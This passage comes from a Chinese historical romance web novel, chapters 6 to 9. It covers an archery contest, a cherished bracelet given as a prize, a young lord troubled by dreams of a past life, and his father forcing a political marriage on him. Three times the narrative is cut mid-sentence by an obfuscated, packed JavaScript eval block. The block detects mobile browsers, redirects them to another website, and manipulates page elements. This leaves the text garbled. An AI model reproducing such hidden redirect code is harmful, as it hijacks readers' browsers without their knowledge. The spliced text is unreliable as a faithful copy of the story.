阮苓正摸不着头脑,忽见阮玉捧着张雕花角弓跑来,献宝似的递给江义沅:“姐姐,我给你挑了最趁手的弓。” 这几位姑娘里,阮玉最是崇拜江义沅。平日里不光对自家姐姐言听计从,还总像条小尾巴似的跟着江义沅转,一口一个“义沅姐姐”叫得亲热。 “多谢阮玉弟弟。”江义沅笑着拍了拍他肩膀。这一巴掌下去,拍得少年郎一个趔趄。江义沅那习武之人的手劲,哪是这小身板受得住的? 阮苓见弟弟被拍得晃悠,噗嗤笑出声:“就你这小身板,往后得多练练。别到时候连娘子都抱不动,平白让人嫌弃。” 她这张嘴向来没个把门的,什么浑话都敢往外蹦。阮玉顿时涨红了脸,撇嘴嘟囔:“要你管,我力气大着呢!” 阮苓抿唇轻笑,眼波流转间掠过不远处几位锦衣公子,手指虚虚一点:“这几个里头,倒要数那鹤川最是英武挺拔,旁的嘛......不过尔尔。” “呵!”身侧传来江义沅一声凉薄轻笑,“怎么,阮妹妹又瞧上别家郎君了?你那支安哥哥如今竟不香了?” “支安哥哥自然是香的。”阮苓斜睨过去,“可这与人家鹤川强不强壮有什么相干?你且细看,他家主子那般龙章凤姿,近侍之人又岂会是凡品?” 江义沅扬扬眉:“看来你对薛二公子挺有好感的。” 阮苓扯了扯她的衣袖,目光落在失魂的沈支言身上:“不是我,是她,魂都被勾走了。” 沈支言闻声缓过神来,耳根倏地烧了起来,无奈道:“妹妹少说两句。” 远处传来二哥哥清朗的催促声,江义沅和阮玉这便匆匆跑到了赛场上。 众人准备就绪,场中侧立着六位公子,个个气度不凡。但见他们一字排开,或沉稳如山,或温润如玉,或清秀似竹,皆是风姿卓然。 其中,最惹眼的却是那位初入他们小团体的薛召容。他虽神色清冷,却如寒潭映月般夺目,叫人想忽视都难。 后园里繁花正盛,姹紫嫣红开遍。暖风过处,暗香浮动,枝头新叶簌簌作响,斑驳日影透过叶隙,在地上织就一片碎金摇曳的光毯。 满园春色与这群鲜衣怒马的少年郎相映成趣,愈发显得生机盎然。 阮苓抢着要当判官,绾着杏色罗袖的小手高高扬起,脆生生道:“开始!” 比试规矩简单,一刻钟内,谁射中靶心的箭矢最多便算胜出。 但闻“嗖嗖”破空之声不绝于耳,羽箭接连钉入靶心。阮苓看得兴起,竟忘了自己腿伤未愈,拍着手从轮椅上欠身而起,险些栽倒,疼得“哎哟”一声,又跌回椅中,却仍掩不住满脸兴奋之色。 沈支言面上虽不显,心口却怦然作响,目光不由自主地追随着那道挺拔的身影。薛召容挽弓的姿势如松如竹,在明媚春光里格外夺目,竟教她再难移开视线。 一刻钟转瞬即逝。沈支言推着阮苓的轮椅前去数箭,阮苓手指拨过一支支羽箭,忽地轻呼出声:“呀,竟有两位魁首。” 她仰起脸,眸中漾着讶色:“是表哥与薛公子各中九箭,薛公子亦是九箭正中靶心。” 众人闻言,纷纷侧目望去。但见两位公子立于靶前,一个温润如玉,一个清冷似霜,在满园芳菲中自成风景。 何苏玄与薛召容闻言俱是一怔。 “当真是巧了。”阮苓拍手笑道,眼波在二人之间流转,“我瞧着二位郎君,品貌才学原就不相上下,如今连箭术都这般相当。” 她忽然转向沈支言:“这可难为姐姐了,两份彩头该赠予谁才好?” 沈支言睨了她一眼,心知这小丫头又在作怪,便道:“既如此,你赠一份,我赠一份便是。” “我才不送呢!”阮苓看向沈支安,“二哥哥得了次名,我的彩头自然要留给二哥哥。” 阮苓这丫头分明是在耍赖,沈支言却也拿她没法子。抬眸望去,但见表哥与薛召容虽赢了比试,面上却不见喜色,反而一个比一个神色冷峻,只默不作声地望着她,目光灼灼得教人招架不住。 沈支言绞着手中的绢帕,一时犯了难。她身上只带着一个绣好的荷包,这该如何分送? 正踌躇间,表哥何苏玄已含笑上前,温声道:“妹妹不必为难。这些年我得的荷包还少么?今日这彩头让与薛公子也是应当。” 他眼角含笑,语气洒脱:“待你日后绣了新的再予我也不迟。” 这话说得极是体贴,倒显得格外大度。只是那“日后”二字,却莫名教人听出几分怅然。 沈支言自袖中取出那方绣着海棠花的荷包,放在表哥手中:“我身上也没什么稀罕物件,既然表哥赢了,这荷包便赠予表哥罢。从前送荷包,今日还是送荷包。” 何苏玄眸中霎时漾开笑意,指尖摩挲着荷包上细密的针脚,笑道:“到底是妹妹最疼我。” 她话音落下,却见沈支言已转身走到薛召容面前。 她褪下腕间那串沉水檀木珠,莹白指尖托着深褐色的珠串,轻声道:“这手串是幼时随母亲去寺里祈福时,一位老师父所赠,说是能消灾解难,今日赠予薛公子,惟愿公子此生平安顺遂,不会再遇祸事。” 不会再出现满门抄斩的悲剧。 她竟将那贴身珍藏的宝贝赠予了薛召容? 众人皆惊,连三位兄长都变了脸色。那串檀木手串可是她的心头至宝,当年娘亲千叮万嘱要她好生保管,说是能挡灾避祸的灵物。虽说不尽信这些,但毕竟是慈母一片心意,她这些年一直贴身戴着,从未离身。 何苏玄攥着荷包的指节微微发白,唇边的笑意渐渐凝住。这荷包他府上已收了七八个,此刻却突然觉得轻飘飘的,哪里及得上那串浸着她体温的檀木珠分量重? 阮苓亦是震惊,目光在那手串与荷包之间来回游移。 园中一时静得可怕,只余风吹落花的簌簌声。薛召容垂眸望着掌中犹带女儿香的珠串,喉结几不可察地滚动了一下。再抬眸时,眼底翻涌着难以名状的复杂情愫。 沈支言迎上他的目光,恍惚间又见前世那个熟悉的眼神,不由垂下眼帘。薛召容喉结微动,终是压下心头翻涌,低声道:“多谢,定当珍重。” “哎呀,这般郑重做什么?”阮苓笑吟吟地打破凝滞的气氛,转而对一旁的鹤川道,“还不快替你主子戴上?这宝贝可是要贴身带着的,听说灵验的很。” 鹤川闻言正要上前,却见薛召容已自行将手串戴在了腕上。那檀木珠子衬着他冷白的肌肤,竟显出几分温润来。他垂眸凝视腕间,指尖轻轻摩挲着珠串,神色晦暗不明。 另一边,阮苓推着轮椅转到沈支安跟前,笑盈盈地从耳垂上取下一枚翡翠坠子:“二哥哥,我虽没什么贵重物件,这耳坠却是贴身戴了多年的,你且收着,日后见它如见我。” 阮苓求起姻缘来当真是半点不知含蓄。沈支安望着那枚翡翠耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541189|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坠,耳根早已红透,手足无措地僵在原地。一旁的沈支轩拍掌笑道:“这般好事还犹豫什么?我长到这般年岁,可还没收过姑娘家的贴身物件呢!” 阮苓见沈支安迟迟不接,朝软玉递了个眼色。软玉会意,轻叹一声上前道:“二哥哥且收下罢。” 说着便接过那枚碧莹莹的耳坠,不由分说塞进沈支安手中:“不收她又要闹了。” 沈支安握着尚带余温的耳坠,半晌才低声道了句:“多谢妹妹。”一张俊脸早已红得似天边晚霞。 众人嬉闹着又玩了射覆、对弈,直至日影西斜,园中仍回荡着少年们的欢声笑语。 薛召容今日倒是比来时舒展许多,眉宇间隐约透着几分悦色。自得了沈支言那串手串,他总不自觉地去摩挲腕间的檀木珠子,眼底浮着淡淡的笑意。 暮色渐沉时,众人三三两两散去。何苏玄面上不显,辞别时依旧风度翩翩,可待回到何府后,他却径直进了书房,将那只荷包随手扔在案上,略显烦躁地扯了扯衣襟。 茶盏在他手中发出清脆的碰撞声,他仰头饮尽,喉结滚动间透着几分郁色。 “公子。”他的随从石岭轻声禀道,“老爷吩咐,稍后要您同去见几位大人。” 何苏玄身为家中嫡长子,肩上担着整个何府的期望。父亲早就在为他精心铺路。 以他的才学品貌,金榜题名本是十拿九稳。只是这探花之位,除却科考真才实学,还需朝中重臣举荐。这些时日,父亲带着他四处拜谒,便是为此筹谋。 “知道了。”他淡淡应了声,眉宇间却仍凝着郁色。目光不自觉地落回案上,那被随手丢弃的荷包正静静躺着,藕荷色的缎面上,金线绣的海棠花在烛火下泛着细碎的光。 这些年来,他珍藏的荷包已不下十数个,皆是沈支言亲手所绣。从前每逢佳节,那丫头总会变着花样绣出新奇纹样。或是岁寒三友,或是锦鲤戏莲,针脚细密得能藏进月光。每回接到,他都如获至宝,因着那荷包上每一针都牵着她的心意。 可今日这方荷包静静躺在案头,花纹依旧精致,却再难让他展颜。他忽然觉得,这不过是个敷衍的礼数,再不是她最珍重的心意。真正贵重的,是此刻正缠在薛召容腕间的那串檀木珠,那才是她贴身戴了多年的,能挡灾避祸的宝贝。 他分明记得,幼时曾见她因丢失这手串急得泪眼婆娑。那年她母亲发动全府上下翻遍每一个角落,最后才在祠堂的蒲团下寻回。自那以后,那丫头便将这手串看得比命还重,从不离身。 可今日,她竟这般轻易地将它赠予了薛召容。 呵!薛召容。 他指节叩着案几,眉间凝着化不开的郁色。薛召容此人他并非全然不识,亲王府的二公子,在京中虽不常露面,却也是个不容小觑的人物。 但他此刻却想不明白,沈支言与薛召容,何时有了这般深的牵扯? 今日薛召容为何突然出现在太傅府?又为何与沈支言之间流转着那样晦涩难明的眼波?沈支言又为何将那般要紧的贴身之物赠予薛召容一个外男? 何苏玄越想越觉心头郁结。 他与沈支言自幼相伴长大,从未听她提起过与薛家二公子有何瓜葛。这位薛召容在京中向来深居简出,连名讳都鲜少有人提及。可今日园中,二人之间分明涌动着说不清道不明的暗流。 近来她本就反常,今日更是教人捉摸不透。 他烦闷地浅啜了口茶,沉声吩咐石岭:“你去查查薛召容,事无巨细,尽数报来。” 他略一沉吟又道:“再去街上置办些公主喜欢的物件。江南新到的绫罗绸缎、珠钗环佩,都挑顶好的备着,明日我进宫陪公主。” “好的公子。”石岭领命退下。 何苏玄执起书卷欲读,却怎奈心神不宁,烛火摇曳间,目光总不由自主地落在那方荷包上。最终他搁下书册,起身将荷包收入抽屉,动作间带着几分说不出的烦躁。 —— 暮色渐沉,薛召容的马车并未径直回府,而是转道去了城南一处僻静医馆。 老医师见了他,捋着花白胡须笑道:“公子今日气色倒好,可是病症见轻了?” 薛召容撩袍落座,眉宇间却浮起几分困惑:“没有,我觉得反倒加重了。” 他指尖无意识地摩挲着腕间新得的檀木珠,沉声道:“那人总在梦中出现,今日竟真真切切见着了,更是让我捉摸不透了。” 他满心疑惑:“有些事分明未曾发生过,却熟悉得仿佛亲身经历。更有一梦,反复纠缠,便是在大雪漫天的断头台上,我与她双双问斩。刽子手刀光闪过时,我竟眼睁睁瞧着她的首级滚出三丈远。” “这梦魇……真实得不像梦境,倒像刻在骨子里的记忆。我今日初见她时本无甚感触,可当她抬眼与我对视刹那,所有关于她的一些记忆全部涌现了。她执筷时翘起的尾指,赌气时微鼓的腮帮,大婚夜颤抖的长睫,锦被下交缠的青丝,这些,如同我亲眼见过一般。” “大夫,这当真荒唐至极,我以前与她明明就不相识,可这些记忆却硬生生往我脑子里钻。” “今日她叫我名字时,我心脏跳的很厉害,有时候还会疼得发紧。一会儿觉得她陌生如路人,一会儿又熟悉到……连她的唇是什么味道都记得。” “大夫,依您看,我这究竟是何病症?” 老医师听他描述完,沉吟良久,捋着花白胡须长叹一声:“公子这症候着实蹊跷。不似寻常病症,倒像是平白多了一段刻骨铭心的记忆。莫不是得了……” “得了相思病?”鹤川忍不住插嘴。 近来,公子梦中多次叫着沈支言的名字,还说着“支言对不起”,“支言让我抱抱你”这样的话。 难道不是相思病吗? 7. 第 7 章 相思病? 薛召容觉得这词儿与自己八竿子打不着。他生性清冷,对谁都是淡淡的,这二十余载连个心仪的姑娘都没有,更遑论为谁害相思了。 自打襁褓中失了母亲,他连娘亲的模样都记不真切,全凭大哥偶尔念叨几句,才在脑海里勾勒出个模糊的影子。他院里清一色的小厮,连个丫鬟的影子都见不着,久而久之,他对女子更是知之甚少。 三年前那苏家小姐苏柠进了亲王府,因着性子活泛,又惯会讨父亲欢心,时常在府里走动。偶尔在园中碰见,那姑娘总是一副笑模样,可他瞧着,也只是冷眼相待,始终叫不出一声庶母。 在他心里,父亲当年既已许下诺言,后来却又移情别恋,这般行径,实在令人不齿。他自幼便认定,情之一字,既已认定一人,便是生死相随,纵使刀山火海、万劫不复,也绝不该另生他念。 倘若他此生能遇一真心人,白首不相离,那便是天大的福分。 可他也清楚,自己身为亲王府的二公子,婚事哪由得自己做主?莫说是两情相悦,便是寻个合心意的,都似大海捞针。或许这一世,终究是遇不上了。 可就在前些日子,一个再寻常不过的清晨,他自梦中醒来,却陡然发觉周身异样。仿佛魂魄里硬生生挤进了另一人,连带着陌生的记忆也如潮水般涌入。最叫他惊诧的是,那记忆里竟频频浮现一个身影,便是沈家那位素未深交的姑娘,沈支言。 他对这姑娘的印象,还停留在幼时宫宴上的惊鸿一瞥。那时小姑娘随母亲入宫赴宴,穿着杏色襦裙,乖乖巧巧地坐在席间。偏生一双乌溜溜的杏眼总往他这边瞟,手里捏着的芙蓉酥都忘了往嘴里送。 他到底年少气盛,径直过去问她为何总瞧着自己。小姑娘也不怯场,脆生生道:“因为你和旁人不一样呀。” 她见他挑眉,又认真地比划着解释:“别人都在说笑玩闹,或是吟诗作对,唯独你一个人站在廊下看燕子,冷冷清清的,既不说话也不凑热闹。” 小姑娘歪着脑袋,眼底盛着明晃晃的关切:“我瞧着,小哥哥,你是身子不适?还是心里不痛快?若是没寻着玩伴不如同我一起玩。” 她将咬了一半的芙蓉酥往案上一搁,拍了拍裙裾上并不存在的糕点碎屑。 这话落在耳中,叫他脊背僵挺住。长到这般年岁,还是头一回有人这般邀他。 自小因着性子孤僻,他不爱与人嬉闹,更不曾交过什么知心好友。每日不是埋首书卷,便是习武练剑。父亲的目光从来只追随着大哥,对他不过例行公事般的过问。 至于母亲的疼爱,他连偎在娘亲怀里撒娇是何种滋味都不知晓,更无人教他该如何与人相处。即便心里欢喜,也不知该如何融入那些笑语喧阗之中。 此刻望着眼前这个明媚如朝阳的小丫头,他竟有些恍惚。原来这世上,还会有人在意他是否孤寂,是否康健。 世人都道孩童不识愁滋味,可谁又知晓,幼小的心也会被世事磋磨得千疮百孔。 母亲离世后,唯一疼他的祖母也撒手人寰。从此这偌大的王府里,再无人会问他一句“可曾用膳”,也无人会在夜半为他掖被角。每日用膳时对着满桌珍馐,却只觉得食不知味。夜里躺在锦衾中,触手所及皆是冰凉。 这般日复一日,他整个人都瘦了一圈,原本圆润的脸颊渐渐显出棱角。府里下人们私下议论,说二公子这是得了“失魂症”。 此刻望着那双澄澈的眼眸,他鬼使神差地勾了勾唇角:“无妨,不过是不喜喧闹罢了。” 这话说得极轻,却仿佛用尽了他全部的力气。 小姑娘歪着脑袋,杏眼里盛着不解:“为什么呀?” 他垂下眼睫,声音轻得像是怕惊扰了什么:“母亲去得早,前些时日祖母也走了。这世上......再无人疼我了。” 他话音未落,喉间已哽得发疼。 “才不是呢!”小姑娘急急地拽住他的衣袖,“她们只是去了天上,那里有琼楼玉宇,比人间更好。而且她们都在看着你呢!” 她见他神色黯然,又掰着手指细数:“你还有爹爹,有兄弟姐妹,往后还能交好多朋友。” 说着忽然拈起一块桃花糕,献宝似的捧到他眼前:“你瞧,这是用今春新摘的桃花做的。花开时多好看呀,风一吹香得醉人。做成糕点后更是甜得很。” 她将糕点又往前递了递,袖口沾着的桃香幽幽传来,甜甜道:“我娘说人生在世,要尝的甜头多着呢。我们才多大呀,连世间的点心都没尝遍呢!快尝尝,保管甜得你牙都要酥了。” 那糕点上的桃花煞是好看,仿佛还带着三月的暖意。 薛召容素来不嗜甜,可当小小的沈支言将那桃花糕递到跟前时,他竟鬼使神差地接了过来。轻咬一口,清甜的滋味在唇齿间化开。原来这世间,真有这般沁人心脾的甜。不知不觉间,整块糕点都已入了腹。 “谢谢你。”他低声道,话音未落,小姑娘已经踮起脚尖,用绢帕般的袖角替他拭去唇角碎屑。 “谢什么呀!”她眉眼弯成了月牙,“往后我就是你的好朋友啦,有什么开心的、不开心的,统统都可以说与我听。” 她说着又变戏法似的从荷包里摸出块松子糖:“喏,这个也好吃得很。” 他明明比她年长几岁,此刻倒像是被当成了需要照拂的幼弟。望着眼前这个絮絮叨叨的小人儿,薛召容忽然觉得心口有什么东西化开了。他唇角微扬,露出这些年来第一个真心的笑容。 原以为这萍水相逢的温暖能延续下去,谁知不过月余,沈支言便去了江南外祖家,这一别,便是三载春秋。 起初他还会望着宫墙下的桃枝出神,后来琐事渐多,晨起练剑、挑灯夜读,还要应付父亲越来越多的安排,不知不觉间,那个给他递桃花糕的小姑娘,竟在记忆里渐渐淡了。 及至弱冠,他早已不是当年那个阴郁的少年。剑术精进,诗书满腹,连父亲看他的眼神都多了几分赞许。 前年宫中宴会时,在人群中有过遥遥一瞥,那时她已及笄,再不是记忆里蹦蹦跳跳的小丫头,而是个亭亭玉立的闺秀。 不过匆匆一眼,之后再未相见。 后来公务日益繁重,父亲交办的差事一件接着一件,哪还有闲心惦记这些风月之事? 可如今......为何偏偏总在寂寥深夜里,那些本该模糊的往事,竟一桩桩、一件件,如此清晰地浮现在心头? 老医师皱着眉头,也是头一次接待这般特殊的病人。 薛召容半晌才摇头道:“这算哪门子相思?况且,她待我,分明也是不同的。今日相见时,那眼神里藏着万千思绪,似嗔似怨,又带着几分怜惜。连平日最珍视的紫檀手串都送给了我。” 这般偏爱,倒让他惊讶。 立在一旁的鹤川搓了搓下巴,道:“我打十几岁起就跟在您身边,这十几年来何曾见您与沈姑娘有过深交。再说这病症,起先不过是梦魇时唤两声名讳,近来连那些个亲昵话语都脱口而出。若非日有所思,怎会如此。” 这话不假。 老医师捋着花白胡须,眯眼笑道:“这也难怪,春日里犯相思的人原就多些。” 说罢又意味深长地打量了薛召容一眼,问道:“公子年已弱冠,可曾与女子有过肌肤之亲?或是欲、望过剩无法排解?可要老夫开些调理的方子?万不能憋着。” 老医师这话虽说得含蓄,却叫薛召容耳根霎时烧得通红。他垂首盯着木桌上的缝隙,半晌才低声道:“未曾接触过女子,也不用开药。” 长到这般年岁,莫说是亲近,便是姑娘家的手都不曾碰过。 偏生他与沈支言那些梦境真切得骇人:温香软玉在怀的触感,唇齿交缠的甜腥,情动时的激情缠绵,以及醒来时锦被间似乎还残留着若有似无的幽香。 这般虚实难辨,倒比那病症本身更教人疑惑和羞赧。 老医师捻着银须,眼中透着几分了然:“公子这般年纪,精、血旺盛却久未疏解,难免有些神魂不守。既你有情于她,何不遣媒下聘?说不定正是段天赐良缘。” 老医师这话让薛召容眉头紧锁。 今日相见,他那些唐突之言不受控制地脱口而出,把她吓得不轻。尤其那两句“我们两府联姻”、“你不愿嫁给我”竟自己从唇齿间蹦了出来,连他自己都惊住了。 他摸了摸腕间的紫檀手串,喉间发苦。那些话分明不是本意,却偏生像被什么牵着走似的,一句比一句孟浪。 最蹊跷的是,沈支言喜欢表哥这件事他都知晓,还并非是从沈支安那里听来的。 眼下亲王府需要重臣帮衬,若以此为由提亲,父亲定然乐见其成。可这个念头刚起,就被他狠狠掐灭了。 强娶之事,与禽兽何异?今日不过脱口一句求娶之言,就已将人吓得花容失色,若真仗着家世强求,对她该是多大的伤害。 鹤川凑近半步,低声道:“公子,鹤川瞧着,沈姑娘待您确实不同。在沈府时,她虽强作镇定,可那眼角眉梢总往您这儿瞟。还有那般贴身之物都赠予您了,若说无意,谁信?” “您说她心仪表哥,可今日在沈府,我瞧得真切,她连个正眼都没给那位表少爷,倒是看您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541190|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛直勾勾的。您这病症来得蹊跷,或许沈姑娘也如此呢。您不如寻个机会,当面问个明白。” 鹤川这番话倒让薛召容心头一震。或许沈支言当真也与他有着同样的感应?否则今日相见时,她眼中怎会流露出那般复杂的情愫? 正沉思间,忽听老医师插话道:“公子幼时可曾受过颅脑重伤?或是有过记忆缺损之处?” 薛召容回道:“确有一桩旧事。听奶娘提及,我幼时曾被人掼摔于地,当时七窍流血,险些丧命。不过这些年来我并无不适,也神思清明,倒不曾有过记忆错乱之症。” 老医师捻须沉吟良久,道:“如此说来,或许是当年那伤埋下了病根。不过老朽还是以为,解铃还须系铃人。公子不如,寻那位姑娘当面一叙。” 薛召容见大夫也诊不出个所以然来,便起身朝老医师郑重一揖:“今日劳您费心了。容我回去再细细思量,看如何了结这桩心事。今日问诊之事,还望大夫莫要外传。” 老医师连忙拱手还礼:“公子放心,老夫行医数十载,最重医德。今日之事,绝不会传出这间药堂。” 薛召容辞别医师后回了亲王府。方才更衣洗漱,外头管家就来禀报说王爷传见。他匆匆赶到父亲书房时,但见父亲正就着烛火批阅文书。 薛亲王薛甚虽已年过半百,却仍保持着武将的挺拔身姿。烛光下可见其轮廓分明的面容。剑眉入鬓,鼻若悬胆,那双锐利的凤眼即便在阅卷时也透着不怒自威的气势。当年他便是凭着这副俊朗容貌与赫赫战功,在京城贵胄中独领风骚,先帝曾赞其“玉树临风,将才无双”。 薛召容容貌随了他,尤其是那棱角分明的下颌与挺直的鼻梁,简直如同一个模子刻出来的。 他上前恭恭敬敬行了一礼,而后垂手侍立,等着父亲发话。 薛甚素来治家如治军,两个儿子的一言一行、一应差遣,皆要经他亲手安排。 即便是已能独当一面的长子,或是文武双全的次子,在这位曾为朝廷打下半壁江山的亲王面前,依然要俯首听命。 薛甚将手中文书往案上一搁,锐利的目光在薛召容身上逡巡片刻,却未赐座。 “近日你多留心些你大哥。”他声音沉如寒铁,“西域那边不太平,已有细作混入京城。偏生你大哥经手的那桩差事又与西域有牵扯。最近若遇西域人交接,你须寸步不离地跟着他,一定要护他周全。” 在薛甚眼中,两个儿子确是云泥之别。 长子薛廷衍生得八面玲珑,在朝堂上能舌绽莲花,办起差事来又滴水不漏。莫说是亲王,便是圣上也常赞其“栋梁之才”。与这般伶俐人相处,自然轻松。 反观次子薛召容,自幼便是个闷葫芦。虽也练就一身本事,可总像是蒙尘的明珠,该亮的时候偏要敛着光华。 平日里,那些需要周旋的体面差事,薛甚都会交给薛廷衍,至于暗处的刀光剑影、见不得光的腌臜勾当,则统统推给这个沉默寡言的次子。 偏生这闷声不响的孩子,办起事来竟出奇地妥帖。再棘手的难题,经他手后总能料理得干干净净,连御史台都挑不出错处。 久而久之,他与长兄便成了明暗相济的两把利刃。一个在光风霁月处周旋,一个在暗影幢幢中行事。 这般安排倒也合了薛召容的性子,横竖他本就不善与人虚与委蛇。纵使时常要赴汤蹈火,纵使功劳尽数记在兄长名下,他也早已习以为常。 在这位说一不二的父亲面前,幼虎终究难成百兽之主。 薛召容垂眸掩去眼底波澜,只恭顺应道:“孩儿省得,定当谨慎行事。” 薛甚应了一声,又沉声道:“今日你大哥说他还没有成婚的打算,所以,联姻之事还是需得你去做。你大哥与你不同,以他的身份,择妇自然要千挑万选。你也到了成婚的年纪,趁此也了却了婚事。” “今日遇到太傅与江将军,交谈了几句。江将军话里话外都在提他那女儿不愿嫁你。还说江姑娘性子刚烈,先前多少王孙公子上门求娶,都被她亲自拒之门外。这般性子,怕是你也难以驾驭。” “倒是太傅府上那位沈姑娘沈支言,生得玉质兰心,性子又温婉,与将军府那位截然不同。她自幼娇养在深闺,琴棋书画无一不精,倒是与你堪为良配。” 薛甚摩挲着茶盏,继续道:“今日问及太傅结亲之意,他却沉吟良久。也难怪,掌上明珠谁愿轻易许人?不过眼下,确实没有比沈家更合适姻亲了。” 他抬头去看薛召容的神色,又道:“你准备准备,明日随我去太傅府走一遭,看看能否把你与沈支言的婚事定下来。” 8. 第 8 章 果然,父亲还是提起了让他迎娶沈支言。 他这位父亲向来是雷霆手段,当年马踏山河的峥嵘岁月,铸就了如今权倾朝野的薛亲王。即便当年夺嫡之争败北,当今圣上也不得不忌惮他手中偌大的兵权,只得许以亲王之尊。 如今朝堂之上,谁不知亲王府门庭若市,六部官员往来如织,边关将领递帖如雪。那太傅与镇国将军,明面上是天子近臣,暗地里早与王府结为唇齿。这般盘根错节的势力,连龙椅上的那位都要忌惮三分。 薛召容垂首掩去眼底波澜,父亲这般急着与太傅府结亲,其中深意,不言自明。 太傅沈氏一门,乃是累世簪缨之族。其祖上出过三位帝师、五位尚书,族中子弟皆以才学闻名朝野。 沈太傅少时与父亲同拜在南山先生门下,二人皆是惊才绝艳之辈。当年玄武门血战,太傅曾亲率府兵为父亲开路。而后新皇登基,父亲又以军功作保,硬是将太傅推上了首辅之位。 皇家虽对亲王府忌惮已久,却始终寻不到由头发难。直到月前兵部那桩旧案被翻出:五年前父亲率军收复西域十二州时,曾与番邦使节有过密谈。这本是战前议和的寻常事,如今却被御史台参了“私通外敌、图谋不轨”的罪名。 金銮殿上,皇上握着那封泛黄的密信,字字诛心:“王爷当年收复失地时,倒是与突厥可汗相谈甚欢啊。” 他话音甫落,已有几位老臣出列力辩。江将军更是以头抢地:“当年议和文书皆经内阁用印,怎就成了谋逆之证?” 亲王府在兵部的根基实在太深,这满朝武将,倒有大半是当年跟着薛亲王马踏山河的旧部。此刻若要硬来,怕是不会有什么好结果。 皇上望着殿下黑压压跪倒的一片顶戴,终是冷哼一声退了朝。 而后,皇上为剪除亲王羽翼,想尽一切办法。那些言官们日日上奏,将陈年旧事翻出来大做文章。须知这谋逆之罪最易蛊惑民心,若让市井间流传开薛亲王里通外敌的谣言,只怕亲王府声誉就要毁于一旦。 值此危急之际,父亲深知唯有以联姻之策稳固根基。太傅与将军府皆是朝中肱骨,若能与之结为姻亲,便是向皇上明示,这满朝文武,将有大半是他们亲王府的人。皇上若真要动亲王府,就得先掂量掂量太傅门生故吏遍布六部的势力,想想镇国将军麾下那十万精锐铁骑。 不过,两府若是明着结盟,难免落个朋党勾结的口实。可若是打着婚嫁的幌子,在世人眼里不过是才子佳人的良缘,谁又能指摘什么? 这步棋,既要让皇上如鲠在喉,又要教他寻不出由头发作。 联姻之于世家,不过是一剂裹着蜜糖的苦药。薛召容想起早逝的母亲,当年那场门当户对的婚事,最终只换来一方冰冷的牌位。父亲虽曾对母亲立誓终身不续弦,可时过境迁,终究还是将那份情意转赠了他人。 日后,他若真娶了沈支言过门,自会以礼相待,给她正室的体面。可这般相敬如宾的婚姻,与囚笼何异?不过是将两个活人生生熬成祠堂里并排的牌位罢了。 当初父亲本属意大哥与重臣之女联姻,谁知大哥竟当庭直言:“儿子愿效仿古人,觅得知心人再论婚嫁。如今山河未定,何以家为?” 这般大逆不道的话,偏生从他口中说出,倒显出几分名士风流。更奇的是,素来专横的父亲竟未加苛责,只摆摆手作罢。 联姻轮到他头上时,他也曾硬着头皮道:“儿子亦想寻个两情相悦的……” 结果,话未说完,父亲手中茶盏已重重搁在案上,但见他凤目微眯:“你当这是市井话本么?父母之命媒妁之言,自古如此。你若有心仪之人倒也罢,既没有,三日后过府下聘。” 竹影婆娑,将父子二人的身影切割得支离破碎。那时他望着地上摇曳的光斑,只觉得胸腔里翻涌着滚烫的岩浆。 为何大哥能得父亲纵容,到他这里却要生生折断脊梁? “儿子宁死不娶。”他倔强地反抗,结果话音未落,父亲重重的巴掌已经落在了脸上。 牛皮鞭沾了盐水,每一下都抽得他浑身发颤。血珠顺着月白中衣往下淌,在青砖地上洇出朵朵红梅。 二十鞭过后,他终是踉跄着单膝跪地。喉间腥甜翻涌间,听见自己嘶哑的声音:“儿子……娶。” 窗外惊雷炸响,照得他惨白的脸上水痕宛然,却不知是疼出的冷汗,还是别的什么。 他应下这门亲事,并非屈服,而是对这二十余年不公的彻骨心寒。自小他便活在兄长的光环之下,大哥是嫡长子,是父亲精心雕琢的玉器,是亲王府未来的支柱。 而他,不过是块垫脚的顽石。 记得十岁那年寒冬,他因父亲偏心,想要离开亲王府,离开京城,结果还没出城,就被府兵押了回来。 父亲命人剥了他的大氅,让他在雪夜里跪了三个时辰。那晚的雪下得真大啊,鹅毛般的雪片混着鞭伤渗出的血,在青石板上凝成冰碴。 “你即是亲王府之子,就算是死,也要给我死在亲王府里,日后若是再敢离家出走,定会让你再也无法直立行走。”父亲的声音混着皮鞭破空声,至今仍在耳畔回响。 后来,他再也没有了离开的念头,只想着若是再努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他回到自己院中,在树下的石桌前枯坐到三更,腕间那串紫檀珠子被摩挲得发烫。 天光微亮时,他挑了件质地上乘的月白云纹锦袍,又命鹤川备了上好的龙井和一些精致的礼品,去了太傅府。 他到了太傅府,说是要寻沈支安商议城中命案,结果他在沈支安书房里走神了许久都未听进去一句,眼睛总是频频望向门外。 沈支安瞧着这位一大早登门且总是魂不守舍的稀客,满眼里都是疑惑。 还未等他问个原因,只听薛召容突然问道:“你妹妹……今日可忙?” 9. 第 9 章 忙? 